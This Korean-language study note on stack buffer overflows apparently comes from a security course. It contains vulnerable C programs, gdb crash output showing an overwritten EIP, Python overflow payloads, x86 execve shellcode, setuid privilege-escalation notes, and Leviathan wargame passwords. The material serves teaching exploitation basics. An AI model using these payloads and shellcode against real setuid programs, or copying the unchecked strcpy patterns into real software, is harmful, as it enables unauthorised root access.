1. 취약점

     - 에러의 한 종류

     - 모든 취약점은 에러이다.

     - 모든 에러는 취약점이다. (X)


1). 메모리 변조:  버퍼(스택) 오버플로우


    - 1995년도에 처음 발표

    - smashing the stack for fun and profit

    - by Aleph One


    - 취약한 함수: scanf, gets, strcpy, ....


#include <stdio.h>

int main (int argc, char *argv[])

{


        char    buffer1[20]={0,};

        char    buffer2[20]={0,};


        if(argc > 1){

        strcpy(buffer2, argv[1]);  // vul!!!

        }


        printf("buffer1:%s\n",buffer1);

        printf("buffer2:%s\n",buffer2);


        return 0;

}


만약에 값이 20개가 넘는 글자가 들어갈 경우에 취약점이 발생한다 

buffer2[20] 이라서 남은 길이가 딴 공간에 침범한다

strcpy 문자를 복사 할때 길이를 전혀 체크하지 않는다

만약 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 비정상적인 입력값을 주어주면

Segmentation fault (core dumped) 오류가 발생해서 시스템이 멈춘다.

에러가 발생하면 취약점이 될 가능성이 있기 때문에 검사한다.


[root@korea vul]# ./target1 AAAAAAAAAAAAAAAAAAAAAAAAAAA

buffer1:AAAAAAA

buffer2:AAAAAAAAAAAAAAAAAAAAAAAAAAA


[root@korea vul]# ./target1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

buffer1:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

buffer2:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Segmentation fault (core dumped)


디버거로 값을 확인해보면 

eip 값이 바뀐걸 확인할 수 있었다. GDB 디버거로 확인해보면 eip레지스터에 A의 아스키코드(41)값이 들어가있는걸 확인할수있습니다. 이것을 메모리 변조라고 한다. 

( 여기서 알 수 있는점은 입력 값의 길이를 체크하지 않는 함수를 사용했을때 해당 버퍼보다

큰 입력 값이 들어오게 된다면 다른 메모리 공간까지 덮어쓰게 된다는 점이다.

그리고 gdb에서 설정 해놓은 display 결과를 보면 알 수 있듯이 eip 레지스터의 주소 값 또한 덮어 써지게 된다는 것이다. )


이런 원리로 변조가 가능하다.


strcpy(buffer2, argv[1]);  // vul!!! 대신에

strncpy(buffer2, argv[1], 20); //를 사용하면 메모리 참조를 하지 않는다 .



gets


#include <stdio.h>


int main()

{

        char buffer1[20]={0,};

       char buffer2[20]={0.};


        gets( buffer2 );


        printf("buffer1:%s\n", buffer1);


        printf("buffer2:%s\n", buffer2);


        return 0;

}


[root@korea vul]# gdb -q target1

(gdb) set disassembly-flavor intel

(gdb) dis

disable      disassemble  display      

(gdb) display /i $eip

(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Starting program: /root/vul/target1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

buffer1:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

buffer2:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

1: x/i $eip  0x41414141: Cannot access memory at address 0x41414141

Disabling display 1 to avoid infinite recursion.

0x41414141 AAAA  eip 값이 변조가 가능하다는 소리이다

변조가 되더라도 에필로그가 실행되지 않으면 오류가 발생하지 않는다.

취약점이 발생하는 위치에 따라서도 내가 변조할 수 있는 부분이 달라진다



[실습]

#include <stdio.h>


int main(int argc, char *argv[])

{

        char CAT[] = "CAT";

        char buffer[20]={0,};


        printf("WHAT:%s\n", CAT);


        if(argc>1){ strcpy(buffer,argv[1]);}


        printf("WHAT:%s\n", CAT);


        return 0;


}

             


[root@korea vul]# vi cat.c

[root@korea vul]# gcc -o cat cat.c

[root@korea vul]# ./cat

WHAT:CAT

WHAT:CAT

-소스코드를 수정하지 않고 다음과 같이 출력되도록 만들어라.


[root@korea vul]# vi cat.c

[root@korea vul]# gcc -o cat cat.c

[root@korea vul]# ./cat

WHAT:CAT

WHAT:DOG


[root@korea vul]# ./cat  AAAAAAAAAAAAAAAAAAAADOG

WHAT:CAT

WHAT:DOG



[root@korea vul]# vi cat.c

[root@korea vul]# gcc -o cat cat.c

[root@korea vul]# ./cat

WHAT:12345678

WHAT:12345678

-소스코드를 수정하지 않고 다음과 같이 출력되도록 만들어라.


[root@korea vul]# vi cat.c

[root@korea vul]# gcc -o cat cat.c

[root@korea vul]# ./cat

WHAT:12345678

WHAT:87654321


위와 같이 출력해보려고 같은 방법을 썼으나 이상한 값이 나온다.

-> 확인해보니 숫자도 문자로 인식하여 아스키 값으로 출력되는 것을 알 수 있었다.

-> 인자는 숫자 형태로 입력할 수 없다.

-> 문자열 이스케이프를 사용해야 문자열 내에서 숫자 표현이 가능해진다.

숫자를 넣고 변조 하고 싶으면 

#include <stdio.h>

int main(int argc, char *argv[])
{


        int buffer1 = 0x12345678;
        char buffer2[20]= {0,};

        printf("WHAT:%x\n",buffer1);
        if(argc > 1){ strcpy(buffer2, argv[1]);}
        printf("WHAT:%x\n",buffer1);

        return 0;
}

$(python -c 'print ("\x41\x41\x41\x41")')

`python -c 'print ("\x41\x41\x41\x41")'`


./cat $(python -c 'print "A" * 20 + "\x21\x43\x65\x87"')

! 문자열 이스케이프 -> 가능

! bash shell -> ', ", `, |, >



! bad  charachter


1. 0x00 (null 은 죽어도 입력이 안된다) : 입력할 방법이 전혀 없음

./cat $(python -c 'print "A" * 20 + "\x00\x00\x00\x00"') ( X )

-null 뒤에 다른 문자열을 넣는건 불가능하다, 마지막에 한 바이트 가능

-문자열의 끝을 널로 인식하는 경우에는 절대 불가능하다.


2. 0xff :bash 버그

-쉘 교체: bash2로


3. 0x20, 0x0a, 0x09: 화이트 스페이스


bash: ', "


./cat "$(python -c 'print "A" * 20 + "\x20\x20\x20\x20"')"

공백(0x20)과 tab(0x09) 정도는 바꿔서 사용이 가능하다.



! 쉘코드(Shellcode)


-타켓 프로세스에 메모리에 실행하고자 하는 명령들을 올려놓고 실행 


1. 기게어로 작성되어 있어야 한다.

2. 데이터 세그먼트는 사용할 수 없다.


권한을 얻고싶으면 쉘코드를 얻는게 가장 쉽다

system("/bin/sh"); -> 기계어 (bin)

--> execve --> 번호로 구분 


 - ELF파일 전체가 메모리에 있어야만 명령어를 실행할 수 있다.

- 여기선 기계어 코드만 메모리에 존재하기 때문에 실행될 수 없다.

해결책 - 세그먼트 없이 실행 가능하도록 스택형식으로 만들어야함.


라이브러리 함수의 주소가 다른 프로세스에서의 라이브러리 주소가 동일할 확률은 0에 가까움

해결책 - 시스템 콜 사용    


2) 어셈블리어로 작성

 - 직접 메모리를 제어가능

  - 기계어만 가지고 실행이 가능한 환경을 구성

  - 세그먼트 없이 프로그램을 작성

system 라이브러리 -> execve 시스템콜로 대체

세그먼트 -> 스택메모리로 대체

segment .text

global  _start


_start:


        mov     ebp,    esp

        sub     esp,    8


        push    0       ;ebp-12

        push    '//sh'  ;ebp-16

        push    '/bin'  ;ebp-20



        lea     eax,    [ebp-20]

        mov     dword [ebp-8], eax

        mov     dword [ebp-4],  0

        add     esp,    12


        mov     eax,    11

        mov     ebx,    [ebp-8]

        lea     ecx,    [ebp-8]

        mov     edx,    0

        int     80h

        add     esp,    8


        leave

        ret



3). 권한

- 권한 상승기법

- got root???

-SETUID: effective User ID

-해당 프로그램이 실행되는 동안만 소유자의 권한을 행사

-SETGID: dffective Group ID


setuid (  왜 굳이 취약점이 존재하는 프로그램 내에서 명령어를 실행하도록 할까?에 대한 대답 )

  - 권한이 없는 사용자라 할지라도 setuid가 있으면 해당 프로그램의 소유자의 권한을 행사할 수 있다.

  ! 타겟 프로그램에 취약점이 존재하고

  ! 타겟 프로그램에 setuid 권한이 존재한다면

  !! 권한 상승 가능


root: login -> id, pw -> 비교: /etc/shadow 

leviathan1@leviathan:~$ ls -l /etc/shadow

-rw-r----- 1 root shadow 1420 Nov 13 16:03 /etc/shadow


/etc/leviathan_pass

leviathan0:leviathan0


leviathan1:rioGegei8m

leviathan1@leviathan:~$ ls -l check

-r-sr-x--- 1 leviathan2 leviathan1 7608 Nov 13 16:03 check

-sr

-SETUID: effective User ID

check 라는 프로그램을 실행하는 동안에는 소유자의 권한으로 실행이된다 

보안상 각별한 주의가 필요한 파일이 SETUID가 걸려있는 파일이다


타켓 프로그램: 취약점 + SETUID 

ltrace ./check 로 해당 파일에 비밀번호를 획득하고

./check 를 실행시켜서 

ougahZi8Ta



leviathan3:


-hint: ", link 

"/etc/leviathan_pass/leviathan3



+ Recent posts